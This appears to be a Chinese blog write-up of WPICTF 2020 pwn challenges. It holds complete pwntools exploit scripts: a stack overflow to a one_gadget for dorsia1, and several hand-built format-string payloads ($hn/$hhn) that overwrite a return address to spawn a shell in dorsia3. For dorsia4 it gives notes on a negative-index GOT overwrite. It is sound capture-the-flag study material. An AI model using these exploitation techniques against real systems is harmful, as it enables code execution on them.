WPICTF 2020 pwn

本文详细介绍了如何通过格式化字符串漏洞在dorsia1和dorsia3中构造payload,揭示了利用$hn和$hhn来减少字符输出并避免程序崩溃的方法。同时,展示了不同技巧来定位并利用libc地址,包括高低位转换和使用gdb进行调试。在dorsia4中,提到了寻找gadget以防止程序异常并控制流程的关键思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

dorsia1

#!/usr/bin/env python2
from pwn import *

arch = "amd64"
filename = "dorsia1"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0x4d
# elf
#elf = ELF(filename)


# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
sys_libc=libc.symbols['system']
ogg=[0x45226,0x4527a,0xf0364,0xf1207]

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote('dorsia1.wpictf.xyz',31338)

    sys_addr=io.recvuntil('\n')
    sys_addr=int(sys_addr,16)-765772
    libcbase=sys_addr-sys_libc
    ogg_addr=ogg[3]+libcbase
    payload=b'a'*offset+p64(ogg_addr)
    io.sendline(payload)
    io.interactive()
main()

dorsia3

这道题用了不同的几种方式构造了payload
以及通过这道题更加深入了解了格式化字符串

用$hn, $hhn来代替 $n
优点:这样可以只打印少量的字符,便将地址构造出来,而如果直接用 $n的话有很大可能打印太多字符导致程序崩溃
缺点:空间地址随机化时,高低位的大小不确定,可能造成payload失效,需要多试几次
#!/usr/bin/env python2
from pwn import *

arch = "i386"
filename = "nanoprint"

context(os="linux", arch=arch, log_level="debug")
content = 0

offset = 0
# elf
elf = ELF(filename)
main_addr=elf.symbols['main']
printf_got=elf.got['printf']
# libc
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")

def main():
    global io
    if content == 0:
        io = process("./" + filename)
    else:
        io = remote("")
    stack_addr=int(io.recv(10),16)
    print(hex(stack_addr))
    ogg_addr=int(io.recv(10),16)  # libc2.27: &system-288-->ogg
    print(hex(ogg_addr))
    ret_addr=stack_addr+0x71
    print(p32(ret_addr))

    system_addr=ogg_addr+288
    libcbase=system_addr-libc.symbols['system']
    binsh_addr=libcbase+next(libc.search(b'/bin/sh'))

    ###payload_1_ogg###
    #high=ogg_addr >> 16
    #low=ogg_addr & 0xffff
    #print(high)
    #print(low)
    offset=7
    #payload=b'a'+p32(ret_addr)+p32(ret_addr+2)+b'%'+str(high-9).encode()+b'x%8$hn'
    #payload+=b'%'+str(low-high).encode()+b'x%7$hn'

    ###payload_2_ogg###
    #payload=b'a'+fmtstr_payload(7,{ret_addr:ogg_addr})

    ###payload_5_ogg###
    ogg_1=ogg_addr&0xff
    ogg_2=(ogg_addr&0xff00)>>8
    ogg_3=(ogg_addr&0xff0000)>>16
    ogg_4=(ogg_addr&0xff000000)>>24
    payload = b'a' + p32(ret_addr) + p32(ret_addr + 1) + p32(ret_addr + 2) + p32(ret_addr + 3)
    print(len(payload))
    payload += b'%' + str(ogg_1 - 17).encode() + b'x%7$hhn'
    payload += b'%' + str(ogg_2 - ogg_1).encode() + b'x%9$hhn'
    payload += b'%' + str(ogg_3 - ogg_2).encode() + b'x%8$hhn'
    payload += b'%' + str(ogg_4 - ogg_3).encode() + b'x%10$hhn'

    ###payload_3_sys_binsh###
    #payload=fmtstr_payload(7,{ret_addr:system_addr})+fmtstr_payload(7,{ret_addr+8:binsh_addr})
    #len>69


    ###payload_4_sys_binsh###
    sys_low=system_addr & 0xffff
    sys_hign=system_addr >>16
    binsh_low=binsh_addr & 0xffff
    binsh_hign=binsh_addr >>16
    
    print(sys_low)
    print(sys_hign)
    print(binsh_low)
    print(binsh_hign)
    
    payload =b'a'+p32(ret_addr)+p32(ret_addr+2)+p32(ret_addr+8)+p32(ret_addr+10)
    print(len(payload))
    payload += b'%' + str(sys_low - 17).encode() + b'x%7$hn'
    payload += b'%' + str(binsh_low - sys_low).encode() + b'x%9$hn'
    payload += b'%' + str(sys_hign - binsh_low).encode() + b'x%8$hn'
    payload += b'%' + str(binsh_hign - sys_hign).encode() + b'x%10$hn'


    print(len(payload))  #ogg_1=33 ogg_2=60 sys_binsh_4=62
    print(payload)
    io.sendline(payload)
    io.interactive()
main()

dorsia4

这道题只有大概的思路,但我看题解,好像还要找一些gadget,好像是要防止修改后程序正常运行,具体的还不太会

  while ( 1 )
  {
    printf("%p giv i b\n", &system + 765772, envp, b, b_8, b_16, b_24, b_32, b_40, b_48, b_56, b_64);
    __isoc99_scanf("%i %x", &i, &d);
    result = i;                                 // 知道sys_addr,用libc找到sys_libc
                                                // 计算出libcbase,得到ogg_addr
    if ( i > 69 )
      break;
    envp = a;                                   // i为整形,负数溢出可以修改(a+69)(0x40c5)前的数据
    a[i] = d;                                   // printf_got_plt = 0x4018
                                                // a              = 0x4080
                                                // d              = -104
                                                // 
                                                // a[]为char型,单字节写入即可
                                                // 把printf_got_plt修改为ogg
  }
  return result;
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值